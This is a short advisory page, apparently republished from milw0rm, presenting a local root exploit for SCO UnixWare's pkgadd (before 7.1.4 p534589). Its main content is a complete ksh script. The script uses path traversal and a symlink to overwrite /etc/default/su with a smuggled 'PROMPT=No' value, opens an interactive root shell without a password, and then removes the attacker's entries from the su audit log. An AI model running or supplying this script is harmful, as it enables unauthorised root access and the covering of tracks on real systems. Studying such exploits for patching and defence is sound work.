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SCO UnixWare pkgadd Local Root (Exploit)
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SUMMARY
A vulnerability in SCO UnixWare's pkgadd command line program allows local
attackers to gain elevated privileges.
DETAILS
Exploit:
#!/bin/ksh
#
# 04/2008: public release
# SCO UnixWare < 7.1.4 p534589
#
if [ `id -un` = 'root' ]; then
grep -v " $1-root\$" /var/adm/sulog >su.log
cp su.def /etc/default/su
cp su.log /var/adm/sulog
rm -f su.def su.log woot.log
else
echo "------------------------------------"
echo " UnixWare pkgadd Local Root Exploit"
echo " By qaaz"
echo "------------------------------------"
EVIL=`echo 'XX\nPROMPT=No\nXX'`
cp /etc/default/su su.def
ln -s /etc/default/su woot.log
PKGINST=../../../..`pwd`/woot /usr/sbin/pkgadd "$EVIL" 1>/dev/null 2>&1
su root -c "$0 `id -un`; /bin/sh -i"
fi
# milw0rm.com [2008-04-04]
ADDITIONAL INFORMATION
The information has been provided by qaaz.
The original article can be found at:
<http://www.milw0rm.com/exploits/5355>
http://www.milw0rm.com/exploits/5355
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